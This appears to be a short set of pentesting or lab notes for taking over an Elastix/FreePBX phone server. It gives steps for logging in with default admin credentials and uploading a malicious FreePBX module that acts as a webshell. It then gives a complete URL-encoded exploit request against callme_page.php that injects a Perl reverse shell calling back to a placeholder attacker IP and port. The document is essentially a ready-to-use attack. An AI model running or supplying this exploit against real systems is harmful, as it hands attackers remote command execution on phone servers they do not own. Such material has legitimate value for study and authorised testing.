1. If you have access to Elastix, go to top select Security (press the down arrow if Security not shown) -> Advanced Settings. Make sure Enable Access to FreePBX is on. Can reset password here also.
  2. Next login to FreePBX (https://IP/admin) then type in the user and pass (ID usually admin pass usually admin and the password you reset)
  3. Change the install.php under freepbx webshell to your IP and port.
  4. Zip it: tar -cvzf freepbx-0.1.tar.gz freepbx-0.1
  5. Upload the module via module admin and install it


Alternatively for v2.2.0: Request this in your browser/Burp Suite. (change IPIPIPIIP and PORTPORT accordingly, if fail maybe try check the callmenum number)

https://IP/recordings/misc/callme_page.php?action=c&callmenum=1000@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22IPIPIPIP%3aPORTPORT%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A